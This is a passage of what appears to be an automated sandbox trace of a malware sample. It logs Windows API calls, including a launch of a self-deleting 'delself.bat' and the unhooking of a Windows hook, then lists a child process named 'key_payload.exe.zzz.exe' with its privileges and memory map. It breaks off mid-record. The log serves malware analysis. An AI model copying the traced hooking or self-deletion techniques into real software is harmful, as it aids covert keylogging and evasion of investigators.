lpCommandLine="\"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x8ee97c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x8ee96c | out: lpCommandLine="\"C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat\"", lpProcessInformation=0x8ee96c*(hProcess=0x388, hThread=0x270, dwProcessId=0xf8c, dwThreadId=0xf90)) returned 1 [0093.995] CloseHandle (hObject=0x270) returned 1 [0093.995] CloseHandle (hObject=0x388) returned 1 [0093.995] PostThreadMessageW (idThread=0x0, Msg=0x12, wParam=0x0, lParam=0x0) returned 0 [0094.032] PeekMessageW (in: lpMsg=0x8efecc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x8efecc) returned 0 [0094.032] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0xa) returned 0xffffffff [0094.032] PostThreadMessageW (idThread=0x0, Msg=0x12, wParam=0x0, lParam=0x0) returned 0 [0094.032] PeekMessageW (in: lpMsg=0x8efecc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x8efecc) returned 0 [0094.032] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0xa) returned 0xffffffff [0094.033] UnhookWindowsHookEx (hhk=0x2d0113) returned 1 [0094.036] WSACleanup () returned 0 [0094.112] DeleteObject (ho=0x3710068b) returned 1 [0094.112] DeleteObject (ho=0x460a069e) returned 1 [0094.112] DeleteObject (ho=0x60a0729) returned 1 [0094.113] DeleteObject (ho=0xa0a0735) returned 1 [0094.113] DeleteObject (ho=0x50a0742) returned 1 [0094.113] DeleteObject (ho=0x40a0740) returned 1 [0094.113] DeleteObject (ho=0xa0a071e) returned 1 [0094.113] DeleteObject (ho=0x250a0722) returned 1 [0094.114] DeleteObject (ho=0x110a071b) returned 1 [0094.114] DeleteObject (ho=0x40a073f) returned 1 [0094.114] DeleteObject (ho=0x160a073a) returned 1 [0094.114] DeleteObject (ho=0xb300637) returned 1 [0094.114] DeleteObject (ho=0x830063a) returned 1 [0094.115] DeleteObject (ho=0x543006b7) returned 1 [0094.115] DeleteObject (ho=0x1510072d) returned 1 [0094.115] DeleteObject (ho=0x461006c0) returned 1 [0094.115] DeleteObject (ho=0x411006a7) returned 1 [0094.115] DeleteObject (ho=0x1110072c) returned 1 [0094.115] DeleteObject (ho=0xe8100546) returned 1 [0094.116] DeleteObject (ho=0x8910068c) returned 1 [0094.116] DeleteObject (ho=0x9100737) returned 1 [0094.116] LocalFree (hMem=0xab1930) returned 0x0 [0094.116] LocalFree (hMem=0xaae970) returned 0x0 [0094.116] LocalFree (hMem=0xab0050) returned 0x0 [0094.117] LocalFree (hMem=0xadfa90) returned 0x0 [0094.117] GlobalHandle (pMem=0xab1b28) returned 0x1070004 [0094.117] GlobalUnlock (hMem=0x1070004) returned 0 [0094.118] LocalFree (hMem=0xaaace0) returned 0x0 [0094.119] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x8efea0 | out: phModule=0x8efea0) returned 0 [0094.119] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0xf34 Thread: id = 3 os_tid = 0xf38 Thread: id = 4 os_tid = 0xf3c Thread: id = 5 os_tid = 0xf6c Thread: id = 6 os_tid = 0xf70 Thread: id = 7 os_tid = 0xf74 Thread: id = 8 os_tid = 0xf78 Thread: id = 9 os_tid = 0xf7c Thread: id = 10 os_tid = 0xf80 Process: id = "2" image_name = "key_payload.exe.zzz.exe" filename = "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe" page_root = "0x58261000" os_pid = "0xf84" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xf2c" cmd_line = "\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" " cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 278 start_va = 0xdb0000 end_va = 0xdcffff entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 279 start_va = 0xdd0000 end_va = 0xdd1fff entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 280 start_va = 0xde0000 end_va = 0xdf3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000de0000" filename = "" Region: id = 281 start_va = 0xe00000 end_va = 0xe3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 282 start_va = 0xe40000 end_va = 0xf3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 283 start_va = 0xf40000 end_va = 0xf43fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f40000" filename = "" Region: id = 284 start_va = 0xf50000 end_va = 0xf52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f50000" filename = "" Region: id = 285 start_va = 0xf60000 end_va = 0xf61fff entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 286 start_va = 0x1110000 end_va = 0x13eefff entry_point = 0x1110000 region_type = mapped_file name = "key_payload.exe.zzz.exe" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe") Region: id = 287 start_va = 0x77990000 end_va = 0x77b08fff entry_point = 0x77990000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 288 start_va = 0x7f230000 end_va = 0x7f252fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f230000" filename = "" Region: id = 289 start_va = 0x7f254000 end_va = 0x7f254fff entry_point = 0x0 region_type = private name = "private_0x000000007f254000" filename = "" Region: id = 290 start_va = 0x7f259000 end_va = 0x7f259fff entry_point = 0x0 region_type = private name = "private_0x000000007f259000" filename = "" Region: id = 291 start_va = 0x7f25d000 end_va = 0x7f25ffff entry_point = 0x0 region_type = private name = "private_0x000000007f25d000" filename = "" Region: id = 292 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 293 start_va = 0x7fff0000 end_va = 0x7ffaf7a0ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 294 start_va = 0x7ffaf7a10000 end_va = 0x7ffaf7bd1fff entry_point = 0x7ffaf7a10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 295 start_va = 0x7ffaf7bd2000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffaf7bd2000" filename = "" Region: id = 318 start_va = 0x10d0000 end_va = 0x10dffff entry_point = 0x0 region_type = private name = "private_0x00000000010d0000" filename = "" Region: id = 319 start_va = 0x73040000 end_va = 0x7308efff entry_point = 0x73040000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 320 start_va = 0x73090000 end_va = 0x73102fff entry_point = 0x73090000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 321 start_va = 0xfb0000 end_va = 0x10affff entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 322 start_va = 0x73030000 end_va = 0x73037fff entry_point = 0x73030000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 325 start_va = 0xdb0000 end_va = 0xdbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000db0000" filename = "" Region: id = 326 start_va = 0xdc0000 end_va = 0xdc3fff entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 327 start_va = 0xf70000 end_va = 0xfaffff entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 328 start_va = 0x13f0000 end_va = 0x14adfff entry_point = 0x13f0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 329 start_va = 0x14b0000 end_va = 0x15affff entry_point = 0x0 region_type = private name = "private_0x00000000014b0000" filename = "" Region: id = 330 start_va = 0x743a0000 end_va = 0x743c0fff entry_point = 0x743a0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 331 start_va = 0x743d0000 end_va = 0x743f2fff entry_point = 0x743d0000 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\SysWOW64\\winmmbase.dll" (normalized: "c:\\windows\\syswow64\\winmmbase.dll") Region: id = 332 start_va = 0x74400000 end_va = 0x7456afff entry_point = 0x74400000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\gdiplus.dll") Region: id = 333 start_va = 0x74570000 end_va = 0x7458afff entry_point = 0x74570000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 334 start_va = 0x74590000 end_va = 0x745b3fff entry_point = 0x74590000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 335 start_va = 0x745c0000 end_va = 0x74612fff entry_point = 0x745c0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 336 start_va = 0x74620000 end_va = 0x74636fff entry_point = 0x74620000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 337 start_va = 0x74640000 end_va = 0x7465dfff entry_point = 0x74640000 region_type = mapped_file name = "oledlg.dll" filename = "\\Windows\\SysWOW64\\oledlg.dll" (normalized: "c:\\windows\\syswow64\\oledlg.dll") Region: id = 338 start_va = 0x74660000 end_va = 0x746c6fff entry_point = 0x74660000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 339 start_va = 0x746d0000 end_va = 0x748d8fff entry_point = 0x746d0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll") Region: id = 340 start_va = 0x748e0000 end_va = 0x748e5fff entry_point = 0x748e0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 341 start_va = 0x74910000 end_va = 0x74984fff entry_point = 0x74910000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 342 start_va = 0x74990000 end_va = 0x74a20fff entry_point = 0x74990000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 343 start_va = 0x74a30000 end_va = 0x74a88fff entry_point = 0x74a30000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 344 start_va = 0x74a90000 end_va = 0x74a99fff entry_point = 0x74a90000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 345 start_va = 0x74aa0000 end_va = 0x74abdfff entry_point = 0x74aa0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 346 start_va = 0x74ac0000 end_va = 0x74ac6fff entry_point = 0x74ac0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 347 start_va = 0x74ad0000 end_va = 0x74c0ffff entry_point = 0x74ad0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 348 start_va = 0x74c10000 end_va = 0x74c53fff entry_point = 0x74c10000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 349 start_va = 0x74c60000 end_va = 0x74cdafff entry_point = 0x74c60000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 350 start_va = 0x74ce0000 end_va = 0x74d23fff entry_point = 0x74ce0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 351 start_va = 0x74d30000 end_va = 0x74ea5fff entry_point = 0x74d30000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 352 start_va = 0x74f70000 end_va = 0x75129fff entry_point = 0x74f70000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 353 start_va = 0x75130000 end_va = 0x7521ffff entry_point = 0x75130000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 354 start_va = 0x75220000 end_va = 0x7524afff entry_point = 0x75220000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 355 start_va = 0x752b0000 end_va = 0x752bbfff entry_point = 0x752b0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 356 start_va = 0x752c0000 end_va = 0x7667efff entry_point = 0x752c0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 357 start_va = 0x76800000 end_va = 0x76cdcfff entry_point = 0x76800000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 358 start_va = 0x76ce0000 end_va = 0x76d71fff entry_point = 0x76ce0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 359 start_va = 0x76da0000 end_va = 0x76ebffff entry_point = 0x76da0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 360 start_va = 0x76ec0000 end_va = 0x76ec5fff entry_point = 0x76ec0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 361 start_va = 0x76ed0000 end_va = 0x76f2bfff entry_point = 0x76ed0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 362 start_va = 0x76f30000 end_va = 0x77019fff entry_point = 0x76f30000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 363 start_va = 0x77020000 end_va = 0x77055fff entry_point = 0x77020000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 364 start_va = 0x770b0000 end_va = 0x770f2fff entry_point = 0x770b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 365 start_va = 0x77100000 end_va = 0x7710efff entry_point = 0x77100000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 366 start_va = 0x771d0000 end_va = 0x7725cfff entry_point = 0x771d0000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 367 start_va = 0x772c0000 end_va = 0x7736bfff entry_point = 0x772c0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 368 start_va = 0x77370000 end_va = 0x774bcfff entry_point = 0x77370000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 369 start_va = 0x778d0000 end_va = 0x7798dfff entry_point = 0x778d0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 370 start_va = 0x7f130000 end_va = 0x7f22ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f130000" filename = "" Region: id = 371 start_va = 0x7f25a000 end_va = 0x7f25cfff entry_point = 0x0 region_type = private name = "private_0x000000007f25a000" filename = "" Region: id = 372 start_va = 0xdd0000 end_va = 0xdd0fff entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 373 start_va = 0x10b0000 end_va = 0x10b0fff entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 374 start_va = 0x10c0000 end_va = 0x10c1fff entry_point = 0x10c0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 375 start_va = 0x10e0000 end_va = 0x10e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010e0000" filename = "" Region: id = 376 start_va = 0x15b0000 end_va = 0x1737fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015b0000" filename = "" Region: id = 377 start_va = 0x1800000 end_va = 0x180ffff entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 378 start_va = 0x1810000 end_va = 0x1990fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001810000" filename = "" Region: id = 379 start_va = 0x19a0000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019a0000" filename = "" Region: id = 380 start_va = 0x2e60000 end_va = 0x2e6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 386 start_va = 0x1740000 end_va = 0x17bffff entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 398 start_va = 0x10f0000 end_va = 0x10f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010f0000" filename = "" Region: id = 399 start_va = 0x2da0000 end_va = 0x2e57fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002da0000" filename = "" Region: id = 400 start_va = 0x10f0000 end_va = 0x10f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010f0000" filename = "" Region: id = 401 start_va = 0x1100000 end_va = 0x1103fff entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 402 start_va = 0x2e70000 end_va = 0x3361fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002e70000" filename = "" Region: id = 403 start_va = 0x17c0000 end_va = 0x17c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000017c0000" filename = "" Region: id = 404 start_va = 0x3370000 end_va = 0x36a6fff entry_point = 0x3370000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 405 start_va = 0x36b0000 end_va = 0x37affff entry_point = 0x0 region_type = private name = "private_0x00000000036b0000" filename = "" Region: id = 406 start_va = 0x17d0000 end_va = 0x17d0fff entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 407 start_va = 0x17e0000 end_va = 0x17e3fff entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 408 start_va = 0x37b0000 end_va = 0x37effff entry_point = 0x0 region_type = private name = "private_0x00000000037b0000" filename = "" Region: id = 409 start_va = 0x37f0000 end_va = 0x38effff entry_point = 0x0 region_type = private name = "private_0x00000000037f0000" filename = "" Region: id = 410 start_va = 0x74250000 end_va = 0x74391fff entry_point = 0x74250000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 411 start_va = 0x7f256000 end_va = 0x7f258fff entry_point = 0x0 region_type = private name = "private_0x000000007f256000" filename = "" Region: id = 415 start_va = 0x17f0000 end_va = 0x17f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000017f0000" filename = "" Region: id = 416 start_va = 0x38f0000 end_va = 0x38f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038f0000" filename = "" Region: id = 417 start_va = 0x3900000 end_va = 0x3903fff entry_point = 0x3900000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 418 start_va = 0x3910000 end_va = 0x3952fff entry_point = 0x3910000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000f.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000f.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000f.db") Region: id = 419 start_va = 0x3960000 end_va = 0x3963fff entry_point = 0x3960000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 420 start_va = 0x3970000 end_va = 0x39fafff entry_point = 0x3970000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 421 start_va = 0x3a00000 end_va = 0x3a10fff entry_point = 0x3a00000 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 422 start_va = 0x3a30000 end_va = 0x3a42fff entry_point = 0x3a30000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db") Region: id = 423 start_va = 0x3a50000 end_va = 0x3a50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a50000" filename = "" Region: id = 424 start_va = 0x3a60000 end_va = 0x3a9ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a60000" filename = "" Region: id = 425 start_va = 0x3aa0000 end_va = 0x3b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000003aa0000" filename = "" Region: id = 426 start_va = 0x3ba0000 end_va = 0x3bdffff entry_point = 0x0 region_type = private name = "private_0x0000000003ba0000" filename = "" Region: id = 427 start_va = 0x3be0000 end_va = 0x3cdffff entry_point = 0x0 region_type = private name = "private_0x0000000003be0000" filename = "" Region: id = 428 start_va = 0x74230000 end_va = 0x74242fff entry_point = 0x74230000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 429 start_va = 0x77670000 end_va = 0x776f1fff entry_point = 0x77670000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 430 start_va = 0x7f12a000 end_va = 0x7f12cfff entry_point = 0x0 region_type = private name = "private_0x000000007f12a000" filename = "" Region: id = 431 start_va = 0x7f12d000 end_va = 0x7f12ffff entry_point = 0x0 region_type = private name = "private_0x000000007f12d000" filename = "" Region: id = 438 start_va = 0x74200000 end_va = 0x7422efff entry_point = 0x74200000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 454 start_va = 0x3ce0000 end_va = 0x3d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ce0000" filename = "" Region: id = 455 start_va = 0x3d20000 end_va = 0x3e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d20000" filename = "" Region: id = 456 start_va = 0x3e20000 end_va = 0x3e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e20000" filename = "" Region: id = 457 start_va = 0x3e60000 end_va = 0x3f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000003e60000" filename = "" Region: id = 458 start_va = 0x3f60000 end_va = 0x3f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f60000" filename = "" Region: id = 459 start_va = 0x3fa0000 end_va = 0x409ffff entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 460 start_va = 0x73dd0000 end_va = 0x74090fff entry_point = 0x73dd0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 461 start_va = 0x740a0000 end_va = 0x741fffff entry_point = 0x740a0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 462 start_va = 0x7f121000 end_va = 0x7f123fff entry_point = 0x0 region_type = private name = "private_0x000000007f121000" filename = "" Region: id = 463 start_va = 0x7f124000 end_va = 0x7f126fff entry_point = 0x0 region_type = private name = "private_0x000000007f124000" filename = "" Region: id = 464 start_va = 0x7f127000 end_va = 0x7f129fff entry_point = 0x0 region_type = private name = "private_0x000000007f127000" filename = "" Region: id = 465 start_va = 0x3a20000 end_va = 